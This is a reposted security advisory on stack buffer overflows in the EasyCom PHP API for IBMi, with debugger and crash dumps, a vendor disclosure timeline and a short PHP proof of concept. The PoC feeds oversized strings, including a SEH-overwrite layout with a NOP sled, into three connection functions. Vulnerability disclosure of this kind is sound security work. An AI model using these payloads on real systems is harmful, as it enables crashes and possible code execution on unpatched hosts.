Bugtraq: EasyCom PHP API Stack Buffer Overflow

[+] Credits: John Page AKA Hyp3rlinX

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/EASYCOM-PHP-API-BUFFER-OVERFL


[+] ISR: ApparitionSec








EASYCOM is the middleware which provides native access to IBMi data and programs. With its excellent performance and strict compliance

with IBMi security regulations, this technology facilitates development of Internet, mobile and client/server applications in

Windows, Linux, and IBMi.

EasyCom tested here requires older version of PHP.

Setup test environment:

Windows 7

XAMPP 1.7.3

PHP 5.3.1 (cli) (built: Nov 20 2009 17:26:32)

Copyright (c) 1997-2009 The PHP Group

Zend Engine v2.3.0

PHP compiled module API=20090626 (need to use for EasyCom IBM DLL)

Vulnerability Type:


API Stack Buffer Overflow

CVE Reference:



Security Issue:


EasyCom PHP API suffers from multiple Buffer Overflow entry points, which can result in arbitrary code execution on affected system.

Below I provide some proof of concept details for a few of them.

EAX 00000000

ECX 41414141

EDX 771D6ACD ntdll.771D6ACD

EBX 00000000

ESP 00C0F238

EBP 00C0F258

ESI 00000000

EDI 00000000

EIP 41414141

C 0 ES 002B 32bit 0(FFFFFFFF)

P 1 CS 0023 32bit 0(FFFFFFFF)

A 0 SS 002B 32bit 0(FFFFFFFF)

Z 1 DS 002B 32bit 0(FFFFFFFF)

S 0 FS 0053 32bit 7EFDD000(FFF)

T 0 GS 002B 32bit 0(FFFFFFFF)

D 0

O 0 LastErr ERROR_SUCCESS (00000000)

EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)

SEH chain of main thread

Address SE handler

00C0F354 kernel32.7600410E

00C0FF78 42424242

52525252 *** CORRUPT ENTRY ***

WinDbg dump…

(720.a70): Access violation – code c0000005 (first/second chance not available)

*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll –

eax=00000000 ebx=00000000 ecx=41414141 edx=77316acd esi=00000000 edi=00000000

eip=41414141 esp=004111e8 ebp=00411208 iopl=0 nv up ei pl zr na pe nc

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246

41414141 ?? ???

0:000> !load winext/msec

0:000> !exploitable


Exploitability Classification: EXPLOITABLE

Recommended Bug Title: Exploitable – Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000041414141

called from ntdll!RtlDosSearchPath_Ustr+0x0000000000000ada (Hash=0x05cdf8a7.0xce7d7411)

User mode DEP access violations are exploitable.

PHP Crash:


Problem signature:

Problem Event Name: BEX

Application Name: php.exe

Application Version:

Application Timestamp: 4b06c430

Fault Module Name: StackHash_e98d

Fault Module Version:

Fault Module Timestamp: 00000000

Exception Offset: 41414141

Exception Code: c0000005

Exception Data: 00000008

OS Version: 6.1.7601.



php_Easycom5_3_0.dll 0day vuln POC minus the exploit, I’m bored goin to the park.


/* Basic connection to an AS400 iBMI System */

$payload=str_repeat(“A”, 4000); #BOOM!

$payload=str_repeat(“A”,1868).”RRRRBBBB”.str_repeat(“\x90”,100); #SEH

$conn = i5_connect($payload, “QPGMR”, “PASSW”) or die(i5_errormsg()); #VULN

$conn = i5_pconnect($payload, ‘QSECOFR’, ‘password’, array() ); #VULN

$conn = i5_private_connect($payload, $user, $password, array()); #VULN

echo ‘EasyCom PHP API 0day ‘ . $conn;


Network Access:






Disclosure Timeline:


Vendor Notification: December 22, 2016

Vendor acknowledgement: December 23, 2016

Vendor Release Fix/Version February 20, 2017

February 22, 2017 : Public Disclosure

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Source: SecurityFocus Vulnerabilities @ March 6, 2017 at 12:03PM